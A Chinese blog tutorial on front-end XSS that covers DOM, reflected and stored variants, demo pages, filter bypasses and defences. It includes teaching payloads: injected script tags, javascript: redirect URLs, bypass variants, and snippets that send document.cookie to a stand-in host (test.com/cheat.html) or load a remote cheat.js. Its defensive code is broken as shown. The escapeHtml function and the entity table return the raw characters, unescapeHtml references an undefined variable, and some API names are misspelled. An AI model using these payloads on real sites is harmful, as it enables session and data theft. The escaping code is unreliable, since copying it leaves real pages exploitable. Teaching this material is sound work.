前端安全系列:XSS篇
系列文章:
前端安全系列:XSS篇
前端安全系列:CSRF篇
XSS攻击
全称跨站脚本攻击,为不和层叠样式表(Cascading Style Sheets, CSS)
的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
XSS攻击的危害
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其它网站发起攻击
XSS漏洞的分类
本地利用漏洞
这种漏洞存在于浏览器页面中,属于前端自身问题基于DOM文档对象模型的一种漏洞,大概步骤:
- A给B发送一个恶意构造的URL
- B打开恶意URL
- B的浏览器页面中包含恶意代码
- A的恶意代码可以拥有B的持有权限,进而获取B的数据或者冒充B的行为
通过修改浏览器页面中的DOM(DocumentObjectModel)时,就有可能产生这种漏洞
反射式漏洞
服务端没有对数据进行过滤、验证或者编码等处理直接返回前端可能引起的漏洞
- A给B发送一个恶意构造的URL
- B打开目标网站,浏览器将包含恶意代码的数据通过请求传递给服务端,其不加处理直接返回给浏览器
- B的浏览器接收到响应后解析并执行的代码中包含恶意代码
- A的恶意代码可以拥有B的持有权限,进而获取B的数据或者冒充B的行为
常见于网站搜索栏,登录注册等地方窃取用户cookies或者进行钓鱼欺骗.因为其中涉及到服务端的参与,想要避免需要后端协调.
存储式漏洞
类似反射式但是会把未经处理的数据储存在数据库中
- A将恶意代码提交到目标网站的数据库中
- B打开目标网站,服务端将恶意代码从数据库取出拼接在HTML中返回给浏览器
- B的浏览器接收到响应后解析并执行的代码中包含恶意代码
- A的恶意代码可以拥有B的持有权限,进而获取B的数据或者冒充B的行为
这是属于持久性攻击,涉及范围可能包括所有的访问用户,一般常用网站留言,评论,博客日志等.
大致对比
类型 | 本地利用 | 反射式 | 存储式 |
---|---|---|---|
触发 | 用户打开恶意构造的URL | 用户打开恶意构造的URL | 1, 用户打开恶意构造的URL 2, 攻击者构造脚本 |
储存 | URL | URL | 数据库 |
输出 | 前端 | 后端 | 后端 |
方式 | DOM | HTTP响应 | HTTP响应 |
XSS 常见案例
公司网站新上线一个搜索功能,B写了这段代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>demo</title> <style> input { width: 600px; } </style> </head> <body> <div> input: <input type="text" id="in" /> <button type="submit" id="submit">submit</button> </div> <br /> <div> output: <input id="out" /> </div> <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script> <script> $(function() { var $input = $('#in'); var $output = $('#out'); var $submit = $('#submit'); $submit.click(function() { var val = $input.val(); $output.val(val).html(val); }); }); </script> </body> </html>
完整源码可以查看demo1
某天,让A知道之后他输入这么一段代码,然后提交之后发现
<script>alert('XSS');</script>
类似的用户输入内容都可能被攻击者利用拼接特殊格式的字符串形成恶意代码,通过注入脚本引发潜在风险,浏览器不会区分善恶,只是按照代码解析,于是B想了一个办法告诉浏览器这段内容不该解析,所以改了一下,简单转义输入内容
function escapeHtml(text) { return text.replace(/[<>"&]/g, function(match, pos, originalText) { switch (match) { case '<': return '<'; case '>': return '>'; case '&': return '&'; case '"': return '"'; } }); } function unescapeHtml(str) { return text.replace(/[<>"&]/g, function(match, pos, originalText) { switch (match) { case '<': return '<'; case '>': return '>'; case '&': return '&'; case '"': return '"'; } }); } $submit.click(function() { var val = escapeHtml($input.val()); $output.val(val).html(val); });
完整源码可以查看demo2
现在浏览器就不会再执行里面的代码了,实际业务中应该转义的内容不止这么简单
基于某些业务,例如登录,订单等需要携带参数或者重定向等信息,B写了这么一个页面
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>demo</title> </head> <body> <div> output: <input id="out" /> <a id="jump">jump</a> </div> <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script> <script> $(function() { var $jump = $('#jump'); var $output = $('#out'); var $submit = $('#submit'); function getQueryString(name) { var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i'); var r = window.location.search.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } var val = getQueryString('redirect_to'); $output.val(val) $jump.attr('href', val); }); </script> </body> </html>
完整源码可以查看demo3
A发现一个漏洞,然后发了这个网址给其他人打开
https://www.test.com/?redirect_to=javascript:alert('XSS')
当他们点击跳转的时候就会触发A故意形成的恶意代码
像这种情况B第一想法是检验是否网址格式再渲染界面,所以他这么写
function testUrl(str) { var Expression = '^((https|http|ftp|rtsp|mms)?://)?' + '(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?' + //ftp的user@ '(([0-9]{1,3}.){3}[0-9]{1,3}|' + // IP形式的URL- 199.194.52.184 '([0-9a-z_!~*()-]+.)*' + // 域名- www. '[a-z]{2,6})' + //域名的扩展名 '(:[0-9]{1,4})?' + // 端口- :80 '((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$'; var objExp = new RegExp(Expression); if (objExp.test(str) != true) { return false; } else { return true; } } var val = getQueryString('redirect_to'); $output.val(val); testUrl(val) && $jump.attr('href', val);
完整源码可以查看demo4
因为富文本有问题,只能截图.
但是不是每个a
标签都是用于跳转页面的,例如通过Scheme协议打开APP界面
<a href="Scheme协议">
这样子你就把其他非属性跳转的用法都干掉了,所以B想了想不妥,还是换一种方式禁止,直接判断执行前缀
var val = getQueryString('redirect_to'); var reg = /javascript:/gi; $output.val(val); !reg.test(val) && $jump.attr('href', val);
完整源码可以查看demo5
因为浏览器不区分大小写,所以需要注意一下.更新版本之后B以为已经堵死这条路了,殊不知A换个方式改成编码或者回车空格等
https://www.test.com/?redirect_to=jav ascript:alert('XSS'); https://www.test.com/?redirect_to=javascrip?74:alert('XSS');
这就尴尬了,虽然浏览器并不会执行,但是这些也能完全避开B的拦截规则,也可能会引起其他隐患
还有种内联数据用法,将序列化的数据通过URL传递给其他页面使用
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>demo</title> </head> <body> <div> output: <input id="out" /> </div> <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script> <script> $(function() { var $output = $('#out'); function getQueryString(name) { var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i'); var r = window.location.search.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } var val = JSON.parse(getQueryString('data')); $output.val(val.data).html(val.data); }); </script> </body> </html>
完整源码可以查看demo6
A可以直接修改URL参数注入代码
https://www.test.com/?data={"data":"<script>alert(\"XSS\")</script>"}
A通过恶意脚本在页面插入图片自动发起恶意请求
var img = document.createElement('img'); img.src = 'http://www.test.com/cheat.html?url=' + escape(window.location.href) + '&content=' + escape(document.cookie); img.style = 'display:none'; document.body.appendChild(img);
完整源码可以查看demo7
B让服务端采用了比较简单的办法使用httponly
禁止JS脚本访问cookies信息让A无法拿到
A通过事件注入恶意脚本
var img = document.createElement('img'); img.src = '#'; img.onerror = document.body.appendChild(document.createElement('script')).src = 'http://www.test.com/cheat.js'; img.style = 'display:none'; document.body.appendChild(img);
完整源码可以查看demo8
当浏览器向web服务器发送请求的时候,一般会带上Referer
,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。可以让服务端限制必须是白名单才能通过请求达到防盗链功能,但是丢失Refere
情况比较多,而且容易被恶意修改,所以大多只适用于资源被恶意引用的情况
A利用浏览器的解码顺序进行混合编码组装
当浏览器进行绘制时,解码顺序分别为 HTML > URL > JS,所以A构造了这么一段代码
<a href="javascript:alert('\<%E6%B5%8B%E8%AF%95\>')">jump</a>
首先是 HTML 解码,结果为
<a href="javascript:alert('\<%E6%B5%8B%E8%AF%95\>')">jump</a>
然后是 URL 解码,结果为
<a href="javascript:alert('\<测试\>')">jump</a>
最后是 JS 解码,结果为
<a href="javascript:alert('<测试>')">jump</a>
所以可以攻击的方式很多种,相比于针对处理我们应该先了解相关的攻击方式
XSS攻击方式
- 所有用户输入内容都有潜在的风险
- 利用
script
标签注入HTML/Javascript
代码 - 利用拥有
href
和src
等属性的标签 - 利用空格、回车和Tab等拼接方式绕开拦截
- 利用字符编码绕开拦截(JS支持unicode、eacapes、十六进制、十进制等编码形式)
- 利用
onload
,onscroll
等事件执行恶意代码 - 利用样式属性
backgrund-image
等执行(听说主流浏览器已处理) - URL参数
- Cookies
- 请求
header
的Referer
- 恶意代码拆分组装
各种API
// URL相关 document.location document.URL document.URLUnencoded document.referrer window.location // 操作dom document.write() document.writeln() document.boby.innerHtml // 特殊函数 eval() window.execScript() window.setInterval() window.setTimeout() // 重定向 document.location document.URL document.open() window.location.href window.navigate() window.open
总的来说分两种类型:
- 攻击者手动提交恶意代码
- 浏览器自动执行恶意代码
防御
针对上面的案例如果B选择前端进行内容转义,会引起什么问题呢?
如果攻击者不直接经过前端界面,而是直接自己构造请求就可以破解了
但是B是在发送请求之前转义又会有什么问题?
如果是需要用于界面展示的话,引用到字段的地方都需要处理,大部分模板都会自动转义处理,但是如果用在JS不能直接使用或者计算,例如长度判断等
需要根据上下文采用不同的转义规则增大处理难度,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所以这更适用于固定类型的内容,例如URL,号码等
前端基本的XSS拦截处理有哪些?
XSS Filter
- 用户提交数据进行验证,只接受限定长度/内容
- 表单数据指定具体类型
- 过滤移除特殊的html标签,
script
和iframe
等 - 过滤移除特殊的Javascript代码,
javascript:
和事件等
HTML Entity(举例部分)
符号 | 实体编号 |
---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
空格 | |
请求限制
- 将重要的Cookie标记为HTTP Only,不能通过客户端脚本读取和修改
- 设置
Referer
防止恶意请求 - 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行